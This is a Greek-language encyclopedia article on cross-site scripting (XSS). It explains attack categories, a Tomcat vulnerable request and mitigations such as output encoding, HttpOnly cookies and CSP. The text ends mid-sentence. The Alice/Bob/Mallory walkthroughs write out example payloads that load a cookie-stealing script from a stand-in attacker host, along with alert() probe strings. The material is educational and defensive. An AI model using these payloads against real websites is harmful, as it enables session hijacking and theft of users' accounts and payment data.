Cross-site scripting

Από τη Βικιπαίδεια, την ελεύθερη εγκυκλοπαίδεια
Μετάβαση στην πλοήγηση Πήδηση στην αναζήτηση

Με τον όρο Cross-site scripting ή XSS αναφερόμαστε σε μία ευπάθεια ασφάλειας που εντοπίζεται κυρίως σε web εφαρμογές και θέτει σε κίνδυνο τους χρήστες τους. Σε μία τέτοια επίθεση, ο επιτιθέμενος εισάγει ένα script σε μία ιστοσελίδα που μπορούν να δουν και άλλοι χρήστες. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν μία Cross-site scripting ευπάθεια προκειμένου να παρακάμψουν ελέγχους πρόσβασης, όπως το Same-Origin Policy. Ο αντίκτυπος των εν λόγω επιθέσεων ποικίλλει από μικρές ενοχλήσεις μέχρι μεγάλης εμβέλειας ζημιές, ανάλογα με την ευαισθησία των δεδομένων που χειρίζεται ο ευάλωτος ιστότοπος, αλλά και τις προσπάθειες μετρίασης των αρνητικών συνεπειών.

Υπόβαθρο[Επεξεργασία | επεξεργασία κώδικα]

Η ασφάλεια στο Διαδίκτυο βασίζεται σε διάφορους μηχανισμούς, ένας εκ των οποίων είναι το Same-origin policy. Σύμφωνα με αυτό, εάν τα scripts μιας ιστοσελίδας έχουν πρόσβαση σε πόρους (π.χ. cookies κτλ.), τότε κάποιο script από οποιοδήποτε άλλο URL με ίδιο (1) URI, (2) όνομα τομέα και (3) αριθμό θύρας θα έχει και εκείνο πρόσβαση στους πόρους αυτούς. Εάν κάποιο από τα τρία προαναφερθέντα στοιχεία διαφέρει, τότε θα πρέπει να δοθεί ξεχωριστή άδεια πρόσβασης. [1]

Οι XSS επιθέσεις εκμεταλλεύονται γνωστές ευπάθειες σε web εφαρμογές, όπως διακομιστές ή τα πρόσθετα από τα οποία αυτές εξαρτώνται. Εκμεταλλευόμενοι ένα εξ’ αυτών, οι επιτιθέμενοι εμφωλεύουν κακόβουλο περιεχόμενο μέσα στο περιεχόμενο που διατίθεται από τον παραβιασμένο ιστότοπο. Όταν το τροποποιημένο αυτό περιεχόμενο φτάνει στον φυλλομετρητή του χρήστη, λειτουργεί υπό άδειες που έχει η έμπιστη πηγή που το διαθέτει. Βρίσκοντας τρόπους να εισάγει κακόβουλα scripts σε ιστοσελίδες, ένας επιτιθέμενος μπορεί να αποκτήσει επιπλέον προνόμια πρόσβασης σε ευαίσθητα δεδομένα, σε cookies συνεδρίας, αλλά και σε πλήθος πληροφοριών που αποθηκεύει ο φυλλομετρητής για χάρη του χρήστη. Οι Cross-site scripting επιθέσεις είναι ένα είδος code injection.

Ο όρος “cross-site scripting” προήλθε από μηχανικούς ασφάλειας όπως Microsoft τον Ιανουάριο του 2000.[2]

Μάλιστα, XSS ευπάθειες έχουν ήδη αναφερθεί από τη δεκαετία του 90’, επηρεάζοντας διακεκριμένους ιστότοπος κοινωνικής δικτύωσης στο παρελθόν, όπως το Twitter[3], το MySpace (με το γνωστό Samy worm).[4]

Κατηγορίες XSS επιθέσεων[Επεξεργασία | επεξεργασία κώδικα]

Αξίζει να αναφερθεί πως δεν υπάρχει ενδεδειγμένος τρόπος κατηγοριοποίησης των ευπαθειών XSS. Ωστόσο, οι περισσότεροι ειδικοί διακρίνουν τις ευπάθειες από XSS επιθέσεις σε δυο βασικές κατηγορίες: μη μόνιμες και μόνιμες. Ακόμη, δύο άλλες κατηγορίες, στις οποίες μπορούν να χωριστούν, είναι σε παραδοσιακές επιθέσεις (που προκαλούνται από την πλευρά του εξηπηρετητή) και σε επιθέσεις βασισμένες σε DOM (που προκαλούνται από την πλευρά του πελάτη).

Μη μόνιμες[Επεξεργασία | επεξεργασία κώδικα]

Μία μη μόνιμη XSS συμβαίνει όταν τα δεδομένα που υποβάλλονται από τον πελάτη (μέσω του φυλλομετρητή), συνήθως σε HTTP αιτήματα (π.χ. με τη συμπλήρωση HTML φόρμας), χρησιμοποιούνται αμέσως από την πλευρά του εξυπηρετητή, δίχως αυτά να έχουν προηγουμένως επικυρωθεί επαρκώς (input sanitization).

Ένα χαρακτηριστικό παράδειγμα ενδεχόμενης μη μόνιμης XSS είναι στην γραμμή αναζήτησης μίας ιστοσελίδας, όπου εάν κάποιος αναζητήσει κάτι, τότε η συμβολοσειρά προς αναζήτηση, συνήθως, τυπώνεται αυτολεξεί στην σελίδα αποτελεσμάτων για να υποδείξει σε ποια αναζήτηση αντιστοιχεί το σύνολο αποτελεσμάτων. Συνεπώς, εάν τα δεδομένα εισόδου δεν έχουν επικυρωθεί προτού χρησιμοποιηθούν, τότε απόρροια είναι μία μη μόνιμη XSS επίθεση.

Ως επι το πλείστον, μία τέτοια επίθεση λαμβάνει χώρα μέσω ενός φαινομενικά αθώου URL, το οποίο χρησιμοποιείται ως δόλωμα. Πιο συγκεκριμένα, το URL αυτό αφορά την ευάλωτη ιστοσελίδα και περιέχει το κακόβουλο script. Το δόλωμα μπορεί να παραδοθεί στο εν δυνάμει θύμα είτε μέσω email είτε μέσω ενός ουδέτερου ιστότοπου.

Μόνιμες[Επεξεργασία | επεξεργασία κώδικα]

Οι ευπάθειες σε μόνιμες XSS επιθέσεις είναι πολύ πιο καταστροφικές. Προκύπτουν όταν τα δεδομένα τα οποία στέλνονται από κάποιον κακόβουλο χρήστη αποθηκέυονται στον εξυπηρετητή, ώστε μετά να εμφανίζονται μέσα στις ιστοσελίδες του εξυπηρετητή όταν τις επισκέπτονται άλλοι χρήστες. Ένα κλασικό παράδειγμα τέτοιου τύπου επιθέσεων είναι σε online message boards που επιτρέπουν στους χρήστες να δημοσιεύσουν μηνύματα σε HTML για να τα δουν άλλοι χρήστες.

Μία ευπάθεια του συγκεκριμένου είδους μπορεί να είναι πιο σημαντική από τις υπόλοιπες, διότι ο επιτιθέμενος δεν χρειάζεται να στοχοποιήσει ένα συγκεκριμένο θύμα, εφόσον η ίδια η ευάλωτη ιστοσελίδα αποτελεί μέσο διάδοσης της επίθεσης. Ιδιαίτερα στην περίπτωση ενός ιστότοπου κοινωνικού δικτύου, ο κακόβουλος κώδικας θα μπορούσε να σχεδιαστεί περαιτέρω ώστε να αυτοδιαδίδεται μεταξύ των λογαριασμών των χρηστών, δημιουργώντας ένα είδος σκουληκιού στην πλευρά του πελάτη.[5]

Παραδοσιακές & Βασισμένες σε DOM:[Επεξεργασία | επεξεργασία κώδικα]

Οι ευπάθιες απο XSS επιθέσεις οι οποίες είναι βασισμένες σε DOM δημιουργήθηκαν από την ανάπτυξη των web 2.0 εφαρμογών. Ενώ οι παραδοσιακές επιθέσεις είναι συνηθισμένο οι ευπάθειες να οφείλονται στον εξυπηρετητή όταν ετοιμάζει μια HTML απάντηση για κάποιον πελάτη, οι επιθέσεις βασισμένες σε DOM συμβαίνουν στα στάδια επεξεργασίας περιεχομένου που εκτελούνται στον πελάτη. Με άλλα λόγια, το κακόβουλο φορτίο της επίθεσης δεν «φτάνει» στον εξυπηρετητή, αλλά αντανακλάται στον JavaScript κώδικα που εκτελείται στον φυλλομετρητή του χρήστη (στην πλευρά του πελάτη).Το όνομα αυτών των επιθέσεων προέρχεται από τον τρόπο που απεικονίζονται τα HTML ή XML αντικείμενα ο οποίος αποκαλείται Document Object Model (DOM).

Παράδειγμα XSS ευπάθειας βασισμένης σε DOM αποτελεί το bug που βρέθηκε το 2011 σε μία σειρά από jQuery πρόσθετα.[6] Οι πρακτικές αντιμετώπισης της εν λόγω ευπάθειας φέρουν αρκετές ομοιότητες με εκείνες που χρησιμοποιούνται για την αντιμετώπιση παραδοσιακών XSS. Είναι ωστόσο, γραμμένες σε JavaScript κώδικα και περιέχονται σε ιστοσελίδες (λ.χ. επικύρωση δεδομένων εισόδου και διαφυγή χαρακτήρων).[7] Ορισμένα JavaScript frameworks διαθέτουν ενσωματωμένα αντίμετρα ενάντια τόσο σε αυτό όσο και σε άλλα είδη επιθέσεων (π.χ. το Angular framework).[8]

Self-XSS[Επεξεργασία | επεξεργασία κώδικα]

Η Self-XSS είναι ένα είδος XSS ευπάθειας που βασίζεται στην Κοινωνική Μηχανική προκειμένου να παραπλανηθεί το θύμα και να εκτελέσει κακόβουλο JavaScript κώδικα στον φυλλομετρητή του. Παρά το γεγονός ότι δεν είναι μία πραγματική XSS ευπάθεια εξαιτίας του γεγονότος ότι βασίζεται στην ψυχολογική χειραγώγηση του χρήστη παρά στην ύπαρξη ενός κενού ασφαλείας στον ιστότοπο, αποτελεί εξίσου σημαντική απειλή με τα υπόλοιπα είδη XSS επιθέσεων εάν εκτελεστεί κατάλληλα.[9]

Μεταλλαγμένη XSS (mXSS)[Επεξεργασία | επεξεργασία κώδικα]

Αυτό το είδος XSS επίθεσης συμβάνει όταν ο επιτιθέμενος εισάγει κάτι φαινομενικά αθώο, το οποίο, όμως, τροποποιείται κατά τη διαδικασία δημιουργίας της HTML σελίδας από τον φυλλομετρητή. Για αυτόν τον λόγο, είναι εξαιρετικά δύσκολος ο εντοπισμός κακόβουλων δεδομένων εισόδου και κατ’ επέκταση ο έλεγχος και η επικύρωσή τους. Χαρακτηριστικό παράδειγμα, μάλιστα, αποτελεί το γεγονός ότι ακόμη και η ίδια η Google είχε ένα κενό ασφάλειας στην μηχανή αναζήτησής της (2018) που αφορούσε την εν λόγω ευπάθεια.[10]

Παράδειγμα XSS σε λογισμικό Apache server[Επεξεργασία | επεξεργασία κώδικα]

Στον Apache Tomcat υπήρχε ένα κενό ασφαλείας στον κώδικα ενός αρχείου Javascript ονόματι sessionsList.jsp. O κώδικας χρησιμοποιούσε τις μη ασφαλείς μεταβλητές orderBy και sort. Κάποιος κακόβουλος χρήστης, θα μπορούσε, μέσω κάποιου text input field, να δώσει ως είσοδο (σε site που «έτρεχε» με Apache) Javascript κώδικα που θα έβλαπτε τον χρήστη που θα επισκεπτόταν το site κάποια στιγμή αργότερα. Ο κώδικας θα μπορούσε να οδηγήσει τον browser του θύματος σε URL επιλογής του κακόβουλου χρήστη. Εκεί, ο τελευταίος, θα μπορούσε να οργανώσει καλύτερα την επίθεσή του μέσω Javascript κώδικα πάλι, έχοντας την «άδεια» του Apache server

Ο κώδικας που αφορούσε την παραπάνω ευπάθεια[Επεξεργασία | επεξεργασία κώδικα]

GET/manager/html/sessions?path=/&sort="><script>alert('xss')</script>order=ASC&action=injectSessions&refresh=Refresh+Sessions+list

Εκδόσεις που έχουν το πρόβλημα[Επεξεργασία | επεξεργασία κώδικα]

Apache Tomcat 6.0.2 – 6.0.20 εκτός 6.0.10 και 6.0.11

Πως θα εντοπίσεις εάν μία ιστοσελίδα είναι τρωτή[Επεξεργασία | επεξεργασία κώδικα]

Ο όρος Cross-site scripting (XSS) αναφέρεται στην εκμετάλλευση διαφόρων ευπαθειών υπολογιστικών συστημάτων (π.χ. ιστοχώρων), όπου κάποιος κακόβουλος χρήστης θα μπορούσε να εισάγαγει κακόβουλο κώδικα, ο οποίος θα προκαλέσει προβλήματα στον διαχειριστή ή τον επισκέπτη του ιστοχώρου. Τα ευπαθή σημεία, ως προς τα cross-site-scripts, μπορεί να είναι δύσκολο να αναγνωρισθούν και να αφαιρεθούν από μια Διαδικτυακή εφαρμογή. Η καλύτερη πρακτική για να αναζητήσει κανείς αυτού του είδους τα σημεία, είναι να πραγματοποιήσει μια εκτενή ανασκόπηση του κώδικα αναζητώντας τα σημεία αυτά όπου εισάγει δεδομένα, μέσω μιας φόρμας εισόδου, τα οποία πιθανόν να οδηγούν σε κάποιο HTML output. Μια ποικιλία από HTML tags (όπως <img src…>, <iframe …>, <bgsound scr…> κλπ) μπορούν να χρησιμοποιηθούν για την μετάδοση ενός κακόβουλου κώδικα JavaScript. Ειδικές εφαρμογές-σαρωτές, που υπάρχουν στο διαδίκτυο, όπως τα Burp Suite, Webnspect, Acunetix, Netsparker, Websecurify, NStalker κλπ., μπορούν να χρησιμοποιηθούν για την εύρεση αυτών των κακόβουλων λογισμικών, όμως μαζί με χειροκίνητο έλεγχο, καθώς τα περισσότερα από αυτά τα εργαλεία, χρησιμοποιούν συγκεκριμένα πρότυπα αναζήτησης, αγνοώντας τους διαφορετικούς τρόπους κωδικοποίησης ή τις τεχνικές παράβλεψης που μπορεί να χρησιμοποιηθούν.

Παραδείγματα Εκμετάλλευσης XSS Ευπαθειών[Επεξεργασία | επεξεργασία κώδικα]

Αξίζει να σημειωθεί ότι κάθε κατηγορία XSS ευπάθειας οφείλει να προσεγγιστεί με διαφορετικό τρόπο, όπως φαίνεται και παρακάτω από τα ενδεικτικά κακόβουλα φορτία επίθεσης που χρησιμοποιούνται στα παραδείγματα. Επιπλέον, τα ονόματα των χαρακτήρων που αναφέρονται στα παραδείγματα που ακολουθούν, χρησιμοποιούνται ευρέως στη βιβλιογραφία ασφάλειας υπολογιστών.

Μη μόνιμη[Επεξεργασία | επεξεργασία κώδικα]

  1. Έστω ένας ιστότοπος που ανήκει στον Μπομπ και επιτρέπει στους χρήστες του να συνδέονται στον λογαριασμό τους με ένα ζεύγος ονόματος χρήστη και κωδικού πρόσβασης, ενώ παράλληλα, διατηρεί ευαίσθητα δεδομένα, όπως πληροφορίες χρέωσης. Επιπρόσθετα, όταν ένας χρήστης συνδέεται στον λογαριασμό του, τότε ο φυλλομετρητής αποθηκεύει ένα cookie (έχει τη μορφή συμβολοσειράς), ούτως ώστε τόσο ο εξυπηρετητής όσο και ο πελάτης να γνωρίζουν από κοινού ότι είναι συνδεδεμένος ο χρήστης. Τέλος, έστω ότι η Άλις επισκέπτεται συχνά τον συγκεκριμένο ιστότοπο.
  2. Η Μάλλορι παρατηρει πως ο ιστότοπος του Μπομπ είναι ευάλωτος σε μη μόνιμες XSS επιθέσεις:
    1. Όταν επισκέπτεται τη σελίδα αναζήτησης, εισάγει έναν όρο αναζήτησης και υποβάλλει το αίτημα αναζήτησης. Εάν δεν βρεθούν αποτελέσματα, τότε η σελίδα προβάλλει την ένδειξη «Δεν βρέθηκαν αποτελέσματα για: », ακολουθούμενη από τον όρο αναζήτησης (αυτολεξεί). Συνεπώς, το URL θα είναι της μορφής: http://bobssite.org/search?term=search%20term
    2. Έτσι, για παράδειγμα, μία κανονική αναζήτηση για τον όρο “κουτάβια”, θα δώσει το εξής αποτέλεσμα (σε περίπτωση πάντα που ο όρος αναζήτησης δεν αποφέρει αποτελέσματα αναζήτησης): «Δεν βρέθηκαν αποτελέσματα για κουτάβια». Το URL θα είναι της μορφής: http://bobssite.org/search?term=κουτάβια . Η παραπάνω συμπεριφορά είναι απολύτως αναμενόμενη και κανονική.
    3. Ωστόσο, θα μπορούσε να υποβάλλει έναν αφύσικο όρο αναζήτησης της μορφής “κουτάβια<script>alert('Εντοπίστηκε XSS');</script>”. Τότε:
      1. Θα εμφανιστεί ένα αναδυόμενο παράθυρο ειδοποίησης που θα αναγράφει την ένδειξη «Εντοπίστηκε XSS».
      2. Η σελίδα απάντησης προβάλλει την ένδειξη: «Δεν βρέθηκαν αποτελέσματα για: κουτάβια» .
      3. Το URL είναι της μορφής: http://bobssite.org/search?term=<script>alert(‘Εντοπίστηκε%20XSS’);</script> - ένδειξη ευάλωτης και εκμεταλλεύσιμης συμπεριφοράς.
  3. Η Μάλλορι κατασκευάζει ένα URL για να εκμεταλλευτεί την ευπάθεια αυτή:
    1. Το URL είναι της μορφής: http://bobssite.org/search?term=κουτάβια<script%20src=”http://mallorysevilsite.com/cookiestealer.js”></script>. Θα μπορούσε, μάλιστα, να χρησιμοποιήσει και κάποιο εργαλείο σμίκρυνσης του URL, ούτως ώστε να μην μπορεί κανείς να κατανοήσει τη φύση του βλέποντας το.
    2. Στέλνει με κάποιον τρόπο το κακόβουλο URL στην ανυποψίαστη Άλις, συνοδευόμενο, για παράδειγμα, από τη φράση: «Δες αυτά τα όμορφα κουτάβια!».
  4. Η Άλις λαμβάνει το μήνυμα με το κακόβουλο URL και το ανοίγει. Ανακατευθύνεται στην σελίδα αναζήτησης που υπάρχει στον ιστότοπο του Μπομπ, όπου και αναγράφεται η ένδειξη «Δεν βρέθηκαν αποτελέσματα για: κουτάβια». Ωστόσο, το script που περιέχεται στο κακόβουλο URL εκτελείται στο παρασκήνιο από τον φυλλομετρητή της Alice, δίχως να γίνεται αντιληπτό από εκείνη. Έτσι, φορτώνεται το πρόγραμμα (cookiestealer.js) από τον εξυπηρετητή της Μάλλορι (mallorysevilsite) και εκτελείται, πυροδοτώντας τη μη μόνιμη XSS επίθεση. Η Άλις, βλέποντας πως δεν βρέθηκαν αποτελέσματα, δεν δίνει περαιτέρω σημασία.
  5. Το πρόγραμμα authstealer.js τρέχει, όπως προαναφέρθηκε, στον φυλλομετρητή της Άλις και έχει προέλθει (origin) από τον ιστότοπο του Μπομπ. Συνεπώς, έχει πρόσβαση στο cookie της Άλις, το οποίο και υποκλέπτει και εν συνεχεία, το αποστέλλει στον εξυπηρετητή που διατηρεί η Μάλλορι.
  6. Η Μάλλορι, έχοντας ανακτήσει το cookie της Άλις, το εισάγει στον δικό της φυλλομετρητή σαν να ήταν δικό της και κατ’ επέκταση συνδέεται στον λογαριασμό της Άλις (στον ιστότοπο του Μπομπ).
  7. Σε αυτό το σημείο μπορεί να προχωρήσει σε ενέργειες όπως το να πάει στην ενότητα Πληρωμών του λογαριασμού και να δει τον αριθμό της πιστωτικής κάρτας της Άλις ή / και να αλλάξει τον κωδικό πρόσβασης του λογαριασμού.
  8. Η Μάλλορι αποφασίζει να στείλει ένα παρόμοιο link και στον ίδιο τον Μπομπ, αποκτώντας με αυτόν τον τρόπο δικαιώματα διαχειριστή στον ιστότοπο.

Ορισμένες ενέργειες που θα μπορούσαν να είχαν γίνει ούτως ώστε να μετριαστεί η επίθεση αυτή είναι οι εξής:

  1. Τα δεδομένα εισόδου (ο όρος αναζήτησης) θα μπορούσαν να είχαν ελεγχθεί και επικυρωθεί.
  2. Ο εξυπηρετητής ιστού θα μπορούσε να είχε ρυθμιστεί ώστε να ανακατευθύνει μη έγκυρα αιτήματα.
  3. Ο εξυπηρετητής ιστού θα μπορούσε να εντοπίζει ταυτόχρονες συνδέσεις σε κάποιον λογαριασμό και να ακυρώνει τις συνεδρίες.
  4. Ο εξυπηρετητής ιστού θα μπορούσε να εντοπίζει ταυτόχρονες συνδέσεις σε έναν λογαριασμό από δύο διαφορετικές IP και να ακυρώνει τις συνεδρίες.
  5. Ο ιστότοπος θα μπορούσε να δείχνει μονάχα μερικά από τα τελευταία ψηφία μίας πιστωτικής κάρτας που έχει προηγουμένως χρησιμοποιηθεί σε κάποιον λογαριασμό.
  6. Ο ιστότοπος θα μπορούσε να ζητάει από τους χρήστες να εισάγουν τον κωδικό πρόσβασης προτού γίνει οποιαδήποτε τροποποίηση σε πληροφορίες του λογαριασμού, λειτουργώντας ως μέσο ταυτοποίησης.
  7. Ο ιστότοπος θα μπορούσε να θέσει σε λειτουργία διάφορες πτυχές της Πολιτικής Προστασίας Περιεχομένου (CSP).
  8. Ορισμός του cookie ως HttpOnly, ώστε να μην μπορεί κάποιο script από την πλευρά του πελάτη να έχει πρόσβαση σε αυτό.[11][12]

Μόνιμη[Επεξεργασία | επεξεργασία κώδικα]

  1. Η Μάλλορι δημιουργεί έναν λογαριασμό στον ιστότοπο του Μπομπ.
  2. Η Μάλλορι παρατηρεί ότι ο ιστότοπος του Μπομπ είναι ευπαθής σε μόνιμες XSS επιθέσεις. Πιο συγκεκριμένα, τα σχόλια στην ενότητα «Νέα» εμφανίζονται όπως ακριβώς γραφτούν (αυτολεξεί). Έτσι, εάν το σχόλιο περιέχει HTML ετικέτες, τότε οι ετικέτες εμφανίζονται όπως είναι και τυχόντα scripts εκτελούνται.
  3. Η Μάλλορι, διαβάζοντας ένα άρθρο στην ενότητα «Νέα», αποφασίζει να γράψει το παρακάτω σχόλιο: «Μου αρέσουν πολύ τα κουτάβια στην ιστορία αυτή!<script src=http://amallorysevilsite.com/cookiestealer.js>
  4. Όταν η Άλις (ή οποιοσδήποτε άλλος χρήστης) επισκέπτεται τη συγκεκριμένη σελίδα με το σχόλιο αυτό, τότε το script που έχει εμφωλεύσει η Μάλλορι εκτελείται και ως αποτέλεσμα, το cookie της Άλις υποκλέπτεται (όπως μαρτυρά και το όνομα του script) και αποστέλλεται στον εξυπηρετητή που διαθέτει η Μάλλορι.[13]
  5. Η Μάλλορι μπορεί τώρα να συνδεθεί στον λογαριασμό της Άλις (session hijack) με το cookie που υπέκλεψε και να υποδυθεί πως είναι αυτή.[14]

Ο ιστότοπος του Μπομπ όφειλε να έχει φιλτράρει τις ετικέτες του script (π.χ. με διαφυγή χαρακτήρων), αλλά το γεγονός ότι δεν συνέβη κάτι τέτοιο αποτελεί και το κενό ασφάλειας.

Τρόποι προστασίας από επιθέσεις (XSS)[Επεξεργασία | επεξεργασία κώδικα]

Οι XSS (cross site scripting) είναι από τις πιο διαδεδομένες επιθέσεις στο διαδίκτυο. Εκμεταλλεύονται διάφορες ευπάθειες των υπολογιστικών συστημάτων για να πραγματοποιήσουν τις επιθέσεις τους. Οι επιθέσεις αυτές γίνονται από κάποιο κακόβουλο χρήστη που έχει ως στόχο: την κλοπή ταυτότητας, πρόσβαση σε ευαίσθητες ή εμπιστευτικές πληροφορίες, στην κατασκοπία πλοήγησης των χρηστών, στην ψεύτικη διαφήμιση. Για την πρόληψη και για να ελαχιστοποιήσετε την πιθανότητα μιας τέτοιας επίθεσης (XSS) θα πρέπει να εφαρμόσετε τους ακόλουθους τρόπους προστασίας.

Κωδικοποίηση δεδομένων εξόδου με βάση τα συμφραζόμενα / διαφυγή συμβολοσειράς εισόδο[Επεξεργασία | επεξεργασία κώδικα]

Η κωδικοποίηση των δεδομένων εξόδου με βάση τα συμφραζόμενα θα μπορούσε να χρησιμοποιηθεί ως ο κύριος μηχανισμός άμυνας ενάντια στις XSS επιθέσεις. Υπάρχουν συγκεκριμένες πρακτικές διαφυγής συμβολοσειράς ανάλογα με το σημείο εντός του HTML εγγράφου στο οποίο πρόκειται να τοποθετηθεί η μη έμπιστη συμβολοσειρά. Σε αυτές συμπεριλαμβάνονται η κωδικοποίηση HTML οντοτήτων, η διαφυγή χαρακτήρων JavaScript, η διαφυγή χαρακτήρων CSS και η κωδικοποίηση URL.[15] Η πλειοψηφία των εφαρμογών ιστού που δεν δέχεται πλούσια δεδομένα, μπορεί να αρκεστεί στην διαφυγή χαρακτήρων προκειμένου να περιορίσει σημαντικά το ρίσκο XSS επιθέσεων.

Αν και συνίσταται ευρέως, η κωδικοποίηση HTML οντοτήτων μόνο στους πέντε σημαντικούς XML χαρακτήρες (‘, “, <, >, &) δεν είναι πάντοτε επαρκής για την αποτροπή XSS επιθέσεων κάθε είδους. Επειδή η κωδικοποίηση είναι συχνά δύσκολη, η χρήση βιβλιοθηκών κωδικοποίησης ασφάλειας διευκολύνει συνήθως τη διαδικασία θωράκισης του συστήματος.

Ασφαλής επικύρωση μη έμπιστης HTML εισόδου[Επεξεργασία | επεξεργασία κώδικα]

Σε πολλά σημεία εφαρμογών ιστού, επιτρέπεται στους χρήστες η περιορισμένη χρήση HTML σήμανσης. Όταν γίνεται αποδοχή HTML δεδομένων εισόδου από τους χρήστες (για παράδειγμα, <b>πολύ</b> μεγάλο), τότε η κωδικοποίηση εξόδου (όπως <b>πολύ</b> μεγάλο) δεν θα είναι επαρκής, δεδομένου ότι η είσοδος του χρήστη πρέπει να καταστεί ως HTML από τον φυλλομετρητή (εμφανίζοντας  «πολύ μεγάλο» αντί για «<b>πολύ</b> μεγάλο»). Η αποτροπή XSS επιθέσεων είναι πολύ πιο σύνθετη στην συγκεκριμένη περίπτωση. Η HTML είσοδος πρέπει να φιλτραριστεί μέσα από μία μηχανή ελέγχου και επικύρωσης, προκειμένου να διασφαλιστεί πως δεν περιέχει κώδικα XSS.

Πολλές επικυρώσεις βασίζονται στον αποκλεισμό ορισμένων επικίνδυνων HTML ετικετών, όπως οι ακόλουθες: <script>, <link>, <iframe>. Ωστόσο, υπάρχουν ορισμένα προβλήματα με τη συγκεκριμένη προσέγγιση. Για παράδειγμα, υπάρχει περίπτωση κάποιες φαινομενικά αθώες ετικέτες να παραλειφθούν και όταν χρησιμοποιηθούν «σωστά» να οδηγήσουν σε XSS (όπως <img src=”javascript:alert(1)”>). Μία άλλη δημοφιλής μέθοδος είναι η αφαίρεση (στα δεδομένα εισόδου του χρήστη) των διπλών και μονών εισαγωγικών (“ και ‘ αντίστοιχα). Ωστόσο, αυτό μπορεί να παρακαμφθεί, καθώς το φορτίο της επίθεσης μπορεί να κρυφτεί με Obfuscation (Συσκότιση).[16]

Ασφάλεια Cookie[Επεξεργασία | επεξεργασία κώδικα]

Πέρα από το φιλτράρισμα του περιεχομένου, χρησιμοποιούνται ευρέως και άλλες ατελείς μέθοδοι μετρίασης των XSS επιθέσεων. Ένα παράδειγμα αποτελεί η ύπαρξη αυξημένων ελέγχων ασφάλειας κατά τον χειρισμό της αυθεντικοποίησης ενός χρήστη που βασίζεται σε cookie. Πολλές εφαρμογές ιστού βασίζονται στα cookie συνεδρίας για την αυθεντικοποίηση του χρήστη σε κάθε ατομικό HTTP αίτημα και καθώς τα scripts στην πλευρά του πελάτη έχουν πρόσβαση σε αυτά τα cookie, είναι εύκολη η υποκλοπή τους με XSS.

Για να μετριαστεί η συγκεκριμένη απειλή (και όχι οι XSS ευπάθειες), πολλές εφαρμογές ιστού συνδέουν τα cookie συνεδρίας με την IP που χρησιμοποίησε πρωταρχικά ο χρήστης για να συνδεθεί και έπειτα επιτρέπουν μόνο σε αυτήν την IP να χρησιμοποιήσει το cookie.[17] Αυτή η μέθοδος είναι αποτελεσματική στις περισσότερες περιπτώσεις (όταν ο επιτιθέμενος αναζητεί μονάχα το cookie), αλλά προφανώς δεν λειτουργεί όταν ο επιτιθέμενος χρησιμοποιεί την ίδια IP (μέσω μετάφρασης διεύθυνσης δικτύου) ή διακομιστή μεσολάβησης ιστού με το θύμα ή όταν το θύμα αλλάζει την MIP του.[17]

Μία άλλη τεχνική αντιμετώπισης που εντοπίζεται στους Internet Explorer (από την έκδοση 6), Firefox (από την έκδοση 2.0.0.5), Safari (από την έκδοση 4), Opera (από την έκδοση 9.5) και Google Chrome, είναι ο ορισμός του cookie ως HttpOnly, το οποίο καθιστά το cookie μη διαθέσιμο σε scripts που βρίσκονται στην πλευρά του πελάτη. Αν και χρήσιμη, δεν αποτελεί πανάκεια, εφόσον δεν αποτρέπει πλήρως ούτε την υποκλοπή των cookie ούτε τις επιθέσεις εντός του φυλλομετρητή.[18]

Απενεργοποίηση των scripts[Επεξεργασία | επεξεργασία κώδικα]

Παρόλο που η εμφάνιση του Ιστού 2.0 (Web 2.0) και της τεχνολογίας Ajax καθιστούν απαραίτητη την χρήση της JavaScript,[19] ορισμένες εφαρμογές ιστού είναι κατασκευασμένες ώστε να είναι εφικτή η λειτουργία τους δίχως scripts που είναι βασισμένα στην πλευρά του πελάτη. Αυτό επιτρέπει στους χρήστες να απενεργοποιήσον, εάν επιθυμούν, τα scripts κατά την χρήση της εφαρμογής και να μην είναι ευάλωτοι σε XSS επιθέσεις.

Ορισμένοι φυλλομετρητές ή πρόσθετα φυλλομετρητών μπορούν να ρυθμιστούν ώστε να απενεργοποιούν τα scripts που βασίζονται στην πλευρά του πελάτη σε ορισμένους τομείς (domains). Ωστόσο, αυτή η προσέγγιση δεν λειτουργεί σε περίπτωση που τα scripts επιτρέπονται από προεπιλογή, εφόσον τα απενεργοποιούν μονάχα αφότου ο χρήστης συνειδητοποιήσει την κακόβουλη δράση τους, δηλαδή αργοπορημένα. Απεναντίας, μία προσέγγιση που λειτουργεί με αντίστροφο τρόπο (δηλαδή αποτρέπει την λειτουργία των scripts από προεπιλογή και την επιτρέπει μονάχα όταν το επιθυμεί ο χρήστης) μοιάζει πιο αποτελεσματική. Αυτό είναι δυνατό στον Internet Explorer (από την έκδοση 4), ρυθμίζοντας τις λεγόμενες “Security Zones”,[20] καθώς και στον φυλλομετρητή Opera (από την έκδοση 9), χρησιμοποιώντας τις «Ρυθμίσεις συγκεκριμένου ιστότοπου».[21] Μία λύση για τον Firefox και άλλους φυλλομετρητές που βασίζονται στην μηχανή φυλλομετρητή Gecko είναι η χρήση του προσθέτου NoScript, το οποίο είναι ανοιχτού λογισμικού και πέρα από την ενεργοποίηση των script ανάλογα με τον ιστότοπο, παρέχει και κάποιου είδους προστασία ενάντια σε επιθέσεις XSS, ακόμη και όταν αυτά (scripts) είναι ενεργοποιημένα.[22] Το κυριότερο πρόβλημα με την προεπιλεγμένη απενεργοποίηση όλων των script σε όλους τους ιστότοπους είναι η ουσιαστική πτώση στον βαθμό λειτουργικότητας και αποκριτικότητας (τα scripts που εκτελούνται στην πλευρά του πελάτη είναι αρκετά ταχύτερα από εκείνα που εκτελούνται στην πλευρά του εξυπηρετητή, διότι δεν απαιτείται η σύνδεση σε έναν διακομιστή και η σελίδα δεν χρειάζεται να φορτωθεί εκ νέου).[23] Επιπέον, πολλοί χρήστες δεν κατανοούν την πρακτική αυτή και ως εκ τούτου δεν είναι σε θέση να θωρακίσουν τους φυλλομετρητές τους κατάλληλα. Ένα ακόμη πλεονέκτημα είναι το γεγονός ότι πολλοί ιστότοποι δεν λειτουργούν χωρίς scripts βασισμένα στην πλευρά του πελάτη, αναγκάζοντας τους χρήστες να απενεργοποιήσουν την υφιστάμενη προστασία για τον συγκεκριμένο ιστότοπο και κατ’ επέκταση καθίστανται ευάλωτοι.[24] Το προαναφερθέν πρόσθετο NoScript δίνει στους χρήστες τη δυνατότητα να επιτρέψουν την εκτέλεση ορισμένων μονάχα script (όσων επιθυμούν) μίας δεδομένης ιστοσελίδας. Για παράδειγμα, τα scripts από τον τομέα example.com θα μπορούσαν να επιτρέπονται, ενώ τα scripts από τον τομέα maliciouswebsite.com, τα οποία επιχειρούν να εκτελεστούν στην ίδια σελίδα να 